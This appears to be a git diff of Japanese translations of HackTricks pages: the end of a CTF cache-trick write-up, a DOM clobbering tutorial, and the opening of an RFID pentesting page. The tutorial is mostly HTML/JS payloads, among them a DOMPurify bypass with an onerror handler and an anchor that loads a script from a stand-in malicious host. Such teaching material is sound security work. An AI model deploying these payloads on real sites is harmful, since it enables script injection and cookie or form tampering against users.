4. `history.back()` を使用して戻ると、キャッシュされたJSONレスポンスがページ上にレンダリングされます。
|
||||
1. ウェブページにアクセスします。例: `https://example.com`。
|
||||
2. `open("http://spanote.seccon.games:3000/api/token")`を実行します。これにより、500ステータスコードのサーバー応答が得られます。
|
||||
3. 新しく開いたタブで、`http://spanote.seccon.games:3000/`に移動します。このアクションにより、`http://spanote.seccon.games:3000/api/token`の応答がディスクキャッシュとしてキャッシュされます。
|
||||
4. `history.back()`を使用して戻ります。このアクションにより、ページにキャッシュされたJSON応答がレンダリングされます。
|
||||
|
||||
ディスクキャッシュが利用されたことを確認するためには、Google ChromeのDevToolsを使用して確認できます。
|
||||
ディスクキャッシュが利用されたことの確認は、Google ChromeのDevToolsを使用して確認できます。
|
||||
|
||||
bfcacheとディスクキャッシュに関する詳細については、それぞれ[web.devのbfcache](https://web.dev/i18n/en/bfcache/)と[Chromiumのディスクキャッシュに関する設計文書](https://www.chromium.org/developers/design-documents/network-stack/disk-cache/)で参照できます。
|
||||
bfcacheとディスクキャッシュに関するさらなる詳細は、[web.dev on bfcache](https://web.dev/i18n/en/bfcache/)および[Chromiumのディスクキャッシュに関する設計文書](https://www.chromium.org/developers/design-documents/network-stack/disk-cache/)で参照できます。
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,27 +1,30 @@
|
|||
# Dom Clobbering
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングトリックを共有するために、PRを** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Basics**
|
||||
## **基本**
|
||||
|
||||
**HTMLタグ内の`id`**と**`name`**属性を使用して、**JSコンテキスト内でグローバル変数を生成する**ことが可能です。
|
||||
HTMLタグの属性**`id`**と**`name`**を使用して、**JSコンテキスト内にグローバル変数を生成する**ことが可能です。
|
||||
```html
|
||||
<form id=x></form>
|
||||
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
|
||||
```
|
||||
**特定の要素**だけが**name属性**を使用してグローバルを上書きできます。それらは、`embed`、`form`、`iframe`、`image`、`img`、`object`です。
|
||||
**のみ** 特定の要素は **name属性** を使用してグローバルをクラッシャーできます。それらは: `embed`, `form`, `iframe`, `image`, `img` および `object` です。
|
||||
|
||||
興味深いことに、**form要素**を使用して変数を**上書き**すると、要素自体の**`toString`**値が取得されます:`[object HTMLFormElement]`が、**anchor**では**`toString`**がアンカーの**`href`**になります。したがって、**`a`**タグを使用して上書きすると、それが**文字列として扱われるときの値**を**制御**できます:
|
||||
興味深いことに、**form要素** を使用して変数を **クラッシャー** にすると、要素自体の **`toString`** 値が得られます: `[object HTMLFormElement]` ですが、**anchor** の場合、**`toString`** はアンカーの **`href`** になります。したがって、**`a`** タグを使用してクラッシャーを行うと、**文字列として扱われる** ときに **値** を **制御** できます:
|
||||
```html
|
||||
<a href="controlled string" id=x></a>
|
||||
<script>
|
||||
|
@ -30,7 +33,7 @@ console.log(x);//controlled string
|
|||
```
|
||||
### 配列と属性
|
||||
|
||||
配列やオブジェクトの属性を**上書き**することも可能です。
|
||||
配列とオブジェクトの属性を**クラッシャー**することも可能です:
|
||||
```html
|
||||
<a id=x>
|
||||
<a id=x name=y href=controlled>
|
||||
|
@ -39,7 +42,7 @@ console.log(x[1])//controlled
|
|||
console.log(x.y)//controlled
|
||||
</script>
|
||||
```
|
||||
**3番目の属性**(例:x.y.z)をclobberするには、**`form`**を使用する必要があります:
|
||||
**3番目の属性**(例:x.y.z)を上書きするには、**`form`**を使用する必要があります:
|
||||
```html
|
||||
<form id=x name=y><input id=z value=controlled></form>
|
||||
<form id=x></form>
|
||||
|
@ -47,17 +50,17 @@ console.log(x.y)//controlled
|
|||
alert(x.y.z.value)//controlled
|
||||
</script>
|
||||
```
|
||||
より多くの属性をクロベリングすることは**より複雑ですが、依然として可能**です。iframesを使用します:
|
||||
属性をさらにクラッキングすることは**より複雑ですが、それでも可能です**。iframeを使用します:
|
||||
```html
|
||||
<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
|
||||
<style>@import 'https://google.com';</style>
|
||||
<script>alert(x.y)//controlled</script>
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
スタイルタグは、**iframeがレンダリングされる十分な時間を与えるために使用**されます。これがないと、**未定義**のアラートが表示されます。
|
||||
styleタグは**iframeがレンダリングされるのに十分な時間を与えるため**に使用されます。これがないと、**undefined**のアラートが表示されます。
|
||||
{% endhint %}
|
||||
|
||||
より深い属性を上書きするには、次のように**HTMLエンコーディングを使用したiframe**を使用できます:
|
||||
より深い属性をクラッシャーするには、**htmlエンコーディングを使用したiframes**を次のように使用できます:
|
||||
```html
|
||||
<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;#x20;name=e&amp;#x20;href=\controlled&amp;gt;<a&amp;#x20;id=d&amp;gt; name=d>' name=b>"></iframe>
|
||||
<style>@import 'https://google.com';</style>
|
||||
|
@ -65,9 +68,9 @@ alert(x.y.z.value)//controlled
|
|||
alert(a.b.c.d.e)//controlled
|
||||
</script>
|
||||
```
|
||||
### **フィルターのバイパス**
|
||||
### **フィルターバイパス**
|
||||
|
||||
もしフィルターが`document.getElementByID('x').attributes`のような方法でノードの**プロパティ**を**ループ**している場合、属性**`.attributes`**を**上書き**してフィルターを**破壊**することができます。他のDOMプロパティ、例えば**`tagName`**、**`nodeName`**、**`parentNode`**なども**上書き可能**です。
|
||||
フィルターが `document.getElementByID('x').attributes` のようなものでノードの **プロパティ** を **ループ** している場合、属性 **`.attributes`** を **クラッシャー** してフィルターを **壊す** ことができます。 **`tagName`** 、 **`nodeName`** 、 **`parentNode`** などの他のDOMプロパティも **クラッシャブル** です。
|
||||
```html
|
||||
<form id=x></form>
|
||||
<form id=y>
|
||||
|
@ -78,17 +81,17 @@ console.log(document.getElementById('x').nodeName)//FORM
|
|||
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
|
||||
</script>
|
||||
```
|
||||
## **`window.someObject`のクロベリング**
|
||||
## **`window.someObject`のクラッバーリング**
|
||||
|
||||
JavaScriptでは、次のようなものが一般的です:
|
||||
JavaScriptでは、次のようなものを見つけることが一般的です:
|
||||
```javascript
|
||||
var someObject = window.someObject || {};
|
||||
```
|
||||
Manipulating HTML on the page allows overriding `someObject` with a DOM node, potentially introducing security vulnerabilities. For example, you can replace `someObject` with an anchor element pointing to a malicious script:
|
||||
HTMLをページ上で操作することで、`someObject`をDOMノードで上書きすることができ、潜在的にセキュリティの脆弱性を引き起こす可能性があります。例えば、`someObject`を悪意のあるスクリプトを指すアンカー要素に置き換えることができます:
|
||||
```html
|
||||
<a id=someObject href=//malicious-website.com/malicious.js></a>
|
||||
```
|
||||
脆弱なコードの例:
|
||||
脆弱なコードの例としては:
|
||||
```html
|
||||
<script>
|
||||
window.onload = function(){
|
||||
|
@ -99,27 +102,27 @@ document.body.appendChild(script);
|
|||
};
|
||||
</script>
|
||||
```
|
||||
この方法は、スクリプトソースを悪意のあるコードを実行するために悪用します。
|
||||
この方法は、スクリプトソースを利用して不要なコードを実行します。
|
||||
|
||||
**トリック**: **`DOMPurify`**を使用すると、**`cid:`**プロトコルを使用できますが、これは**二重引用符をURLエンコードしない**ことを意味します。これにより、**ランタイムでデコードされるエンコードされた二重引用符を注入**できます。したがって、**`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">`**のようなものを注入すると、HTMLエンコードされた`"`が**ランタイムでデコード**され、属性値から**脱出**して**`onerror`**イベントを**作成**します。
|
||||
**トリック**: **`DOMPurify`** は **`cid:`** プロトコルを使用することを許可しており、**二重引用符をURLエンコードしません**。これは、**実行時にデコードされるエンコードされた二重引用符を注入できる**ことを意味します。したがって、**`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">`** のようなものを注入すると、HTMLエンコードされた `"` が **実行時にデコードされ**、属性値から **エスケープ** されて **`onerror`** イベントを **作成** します。
|
||||
|
||||
別のテクニックとして、**`form`**要素を使用する方法があります。特定のクライアントサイドライブラリは、新しく作成されたフォーム要素の属性を検査してクリーンアップします。ただし、フォーム内に`id=attributes`を持つ`input`を追加することで、実際の属性にアクセスできないように属性プロパティを上書きすることができます。
|
||||
別の技術は **`form`** 要素を使用します。特定のクライアントサイドライブラリは、新しく作成されたフォーム要素の属性を検査してクリーンアップします。しかし、フォーム内に `id=attributes` の `input` を追加することで、属性プロパティを効果的に上書きし、サニタイザーが実際の属性にアクセスできないようにします。
|
||||
|
||||
この種のクロブリングの例は、[**このCTF解説で見つけることができます**](iframes-in-xss-and-csp.md#iframes-in-sop-2)。
|
||||
このタイプのクラッキングの例を[**このCTFの解説で見つけることができます**](iframes-in-xss-and-csp.md#iframes-in-sop-2)。
|
||||
|
||||
## ドキュメントオブジェクトのクロブリング
|
||||
## ドキュメントオブジェクトのクラッキング
|
||||
|
||||
ドキュメントオブジェクトの属性を上書きすることができるというドキュメントによると、DOM Clobberingを使用して次のようになります:
|
||||
ドキュメントによると、DOMクラッキングを使用してドキュメントオブジェクトの属性を上書きすることが可能です:
|
||||
|
||||
> [Document](https://html.spec.whatwg.org/multipage/dom.html#document)インターフェースは、[名前付きプロパティをサポート](https://webidl.spec.whatwg.org/#dfn-support-named-properties)しています。[Document](https://html.spec.whatwg.org/multipage/dom.html#document)オブジェクトのサポートされているプロパティ名は、[いつでも](https://webidl.spec.whatwg.org/#dfn-supported-property-names)、[木の順序](https://dom.spec.whatwg.org/#concept-tree-order)に従って、後の重複を無視し、[id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute)属性の値が、同じ要素が両方の属性を提供する場合には、[名前](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute)属性から値が来るときに、次のようになります:
|
||||
> [Document](https://html.spec.whatwg.org/multipage/dom.html#document) インターフェースは [named properties](https://webidl.spec.whatwg.org/#dfn-support-named-properties) をサポートしています。[Document](https://html.spec.whatwg.org/multipage/dom.html#document) オブジェクトの [supported property names](https://webidl.spec.whatwg.org/#dfn-supported-property-names) は、次のもので構成されます。[tree order](https://dom.spec.whatwg.org/#concept-tree-order) に従い、後の重複を無視し、同じ要素が両方を提供する場合は、[id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) 属性からの値が名前属性からの値の前に来ます:
|
||||
>
|
||||
> \- [公開](https://html.spec.whatwg.org/multipage/dom.html#exposed)された[embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element)、[form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element)、[iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element)、[img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element)、および[公開](https://html.spec.whatwg.org/multipage/dom.html#exposed)された[object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element)要素の名前コンテンツ属性の値は、名前コンテンツ属性が空でない要素が、ドキュメントを[ルート](https://dom.spec.whatwg.org/#concept-tree-root)として持つ[ドキュメントツリー](https://dom.spec.whatwg.org/#in-a-document-tree)にある場合;\
|
||||
> \- 空でない名前コンテンツ属性を持ち、ドキュメントを [root](https://dom.spec.whatwg.org/#concept-tree-root) とする [document tree](https://dom.spec.whatwg.org/#in-a-document-tree) にあるすべての [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element)、[form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element)、[iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element)、[img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element)、および [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) 要素の名前コンテンツ属性の値;
|
||||
> \
|
||||
> \- [公開](https://html.spec.whatwg.org/multipage/dom.html#exposed)された[object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element)要素の名前コンテンツ属性が空でない[id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute)コンテンツ属性を持ち、ドキュメントを[ルート](https://dom.spec.whatwg.org/#concept-tree-root)として持つ[ドキュメントツリー](https://dom.spec.whatwg.org/#in-a-document-tree)にある場合;\
|
||||
> \- 空でない [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) コンテンツ属性を持ち、ドキュメントを [root](https://dom.spec.whatwg.org/#concept-tree-root) とする [document tree](https://dom.spec.whatwg.org/#in-a-document-tree) にあるすべての [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) 要素の [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) コンテンツ属性の値;
|
||||
> \
|
||||
> \- [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element)要素の名前コンテンツ属性と名前コンテンツ属性が両方とも空でない[id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute)コンテンツ属性を持ち、ドキュメントを[ルート](https://dom.spec.whatwg.org/#concept-tree-root)として持つ[ドキュメントツリー](https://dom.spec.whatwg.org/#in-a-document-tree)にある場合。
|
||||
> \- 空でない [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) コンテンツ属性と空でない名前コンテンツ属性の両方を持ち、ドキュメントを [root](https://dom.spec.whatwg.org/#concept-tree-root) とする [document tree](https://dom.spec.whatwg.org/#in-a-document-tree) にあるすべての [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) 要素の [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) コンテンツ属性の値。
|
||||
|
||||
このテクニックを使用すると、**`document.cookie`、`document.body`、`document.children`**などの一般的に使用される**値や、`document.querySelector`**のようなDocumentインターフェースのメソッドを上書きできます。
|
||||
この技術を使用すると、一般的に使用される **`document.cookie`、`document.body`、`document.children`** などの **値を上書き** したり、`document.querySelector` のような Document インターフェース内のメソッドを上書きしたりできます。
|
||||
```javascript
|
||||
document.write("<img name=cookie />")
|
||||
|
||||
|
@ -138,9 +141,9 @@ HTMLCollection(2) [img, form, cookie: img]
|
|||
typeof(document.cookie)
|
||||
'object
|
||||
```
|
||||
## 要素を乗っ取った後の書き込み
|
||||
## 要素がクラッシャーされた後の書き込み
|
||||
|
||||
**`document.getElementById()`** および **`document.querySelector()`** への呼び出し結果は、同一のid属性を持つ `<html>` または `<body>` タグを注入することで変更することができます。以下にその方法を示します:
|
||||
**`document.getElementById()`** と **`document.querySelector()`** への呼び出しの結果は、同じ id 属性を持つ `<html>` または `<body>` タグを注入することで変更できます。これを行う方法は次のとおりです:
|
||||
```html
|
||||
<div style="display:none" id="cdnDomain" class="x">test</div>
|
||||
<p>
|
||||
|
@ -150,7 +153,7 @@ alert(document.getElementById('cdnDomain').innerText); // Clobbered
|
|||
alert(document.querySelector('.x').innerText); // Clobbered
|
||||
</script>
|
||||
```
|
||||
さらに、これらの挿入されたHTML/bodyタグを非表示にするためにスタイルを使用することで、`innerText`内の他のテキストからの干渉を防ぎ、攻撃の効果を高めることができます。
|
||||
さらに、これらの注入されたHTML/bodyタグを隠すためにスタイルを使用することで、`innerText`内の他のテキストからの干渉を防ぎ、攻撃の効果を高めることができます:
|
||||
```html
|
||||
<div style="display:none" id="cdnDomain">test</div>
|
||||
<p>existing text</p>
|
||||
|
@ -162,7 +165,7 @@ p{display:none;}
|
|||
alert(document.getElementById('cdnDomain').innerText); // Clobbered
|
||||
</script>
|
||||
```
|
||||
SVGへの調査から、`<body>` タグも効果的に利用できることが明らかになりました:
|
||||
SVGに関する調査では、`<body>`タグも効果的に利用できることが明らかになりました:
|
||||
```html
|
||||
<div style="display:none" id="cdnDomain">example.com</div>
|
||||
<svg><body id="cdnDomain">clobbered</body></svg>
|
||||
|
@ -170,7 +173,7 @@ SVGへの調査から、`<body>` タグも効果的に利用できることが
|
|||
alert(document.getElementById('cdnDomain').innerText); // Clobbered
|
||||
</script>
|
||||
```
|
||||
ブラウザー(ChromeやFirefoxなど)でSVG内でHTMLタグを機能させるには、`<foreignobject>`タグが必要です:
|
||||
SVG内でHTMLタグがChromeやFirefoxなどのブラウザで機能するためには、`<foreignobject>`タグが必要です:
|
||||
```html
|
||||
<div style="display:none" id="cdnDomain">example.com</div>
|
||||
<svg>
|
||||
|
@ -182,9 +185,11 @@ alert(document.getElementById('cdnDomain').innerText); // Clobbered
|
|||
alert(document.getElementById('cdnDomain').innerText); // Clobbered
|
||||
</script>
|
||||
```
|
||||
## フォームのクロバリング
|
||||
## Clobbering Forms
|
||||
|
||||
いくつかのタグ内で`form`属性を指定することで、フォーム内に新しいエントリを追加することが可能です。これを使用して、フォーム内に新しい値を追加したり、新しいボタンを追加してそれを送信することさえできます(クリックジャッキングまたは一部の`.click()` JSコードを悪用)。
|
||||
**フォーム内に新しいエントリを追加する**ことは、**いくつかのタグ内に`form`属性を指定する**だけで可能です。これを使用して、**フォーム内に新しい値を追加**したり、新しい**ボタン**を追加して**送信する**こともできます(クリックジャッキングや一部の`.click()` JSコードの悪用):
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```html
|
||||
<!--Add a new attribute and a new button to send-->
|
||||
<textarea form=id-other-form name=info>
|
||||
|
@ -196,22 +201,25 @@ Click to send!
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
* [**button check this**](https://www.w3schools.com/tags/tag\_button.asp)**でさらにフォーム属性を確認してください。**
|
||||
* フォーム属性の詳細については[**ボタンを確認してください**](https://www.w3schools.com/tags/tag\_button.asp)**。**
|
||||
|
||||
## 参考文献
|
||||
|
||||
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
|
||||
* [https://portswigger.net/web-security/dom-based/dom-clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)
|
||||
* Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker.
|
||||
* Heyes, Gareth. ハッカーのためのJavaScript: ハッカーのように考えることを学ぶ。
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝したいですか?** または **最新バージョンのPEASSにアクセスしたいですか?またはHackTricksをPDFでダウンロードしたいですか?** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つけてください
|
||||
* [**公式PEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローしてください。
|
||||
* **ハッキングトリックを共有するために** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,67 +1,70 @@
|
|||
# RFIDのペンテスト
|
||||
# Pentesting RFID
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンを入手**したり、HackTricksを**PDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを入手
|
||||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れる
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングトリックを共有するには、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## はじめに
|
||||
## Introduction
|
||||
|
||||
**無線周波数識別(RFID)**は最も一般的な短距離無線ソリューションです。通常、エンティティを識別する情報を格納および送信するために使用されます。
|
||||
**無線周波数識別(RFID)**は、最も一般的な短距離無線ソリューションです。通常、エンティティを識別する情報を保存し、送信するために使用されます。
|
||||
|
||||
RFIDタグは、**独自の電源(アクティブ)**(埋め込みバッテリーなど)に依存するか、受信アンテナからの電流を使用して受信した無線波から電力を受け取る(**パッシブ**)ことができます。
|
||||
RFIDタグは、**独自の電源(アクティブ)**、つまり埋め込まれたバッテリーに依存するか、受信した無線波から誘導された電流を使用して読み取りアンテナから電力を受け取ります(**パッシブ**)。
|
||||
|
||||
### クラス
|
||||
|
||||
EPCglobalはRFIDタグを6つのカテゴリに分類しています。各カテゴリのタグには、前のカテゴリにリストされているすべての機能が備わっており、後方互換性があります。
|
||||
EPCglobalはRFIDタグを6つのカテゴリに分けています。各カテゴリのタグは、前のカテゴリにリストされているすべての機能を持ち、後方互換性があります。
|
||||
|
||||
* **クラス0**タグは**UHF**バンドで動作する**パッシブ**タグです。ベンダーは製造工場で事前にプログラムします。そのため、メモリに格納された情報を変更することはできません。
|
||||
* **クラス1**タグは**HF**バンドでも動作できます。さらに、製造後に**1回だけ書き込む**ことができます。多くのクラス1タグは、受信したコマンドの**巡回冗長検査(CRC)**を処理できます。CRCはエラー検出のためのコマンドの末尾に追加されるいくつかの追加バイトです。
|
||||
* **クラス2**タグは**複数回書き込む**ことができます。
|
||||
* **クラス3**タグには、現在の温度やタグの動きなどの環境パラメータを記録できる**埋め込みセンサ**が含まれています。これらのタグは**半アクティブ**であり、組み込みバッテリーなどの埋め込み電源を持っているため、他のタグやリーダーとワイヤレス通信を**開始**することはできません。
|
||||
* **クラス4**タグは、同じクラスの他のタグと通信を開始できるため、**アクティブタグ**です。
|
||||
* **クラス5**タグは、他のすべての前のタグクラスと通信し、**RFIDリーダー**として機能することができます。
|
||||
* **クラス0**タグは、**UHF**バンドで動作する**パッシブ**タグです。ベンダーが生産工場で**事前にプログラム**します。その結果、メモリに保存された情報を**変更することはできません**。
|
||||
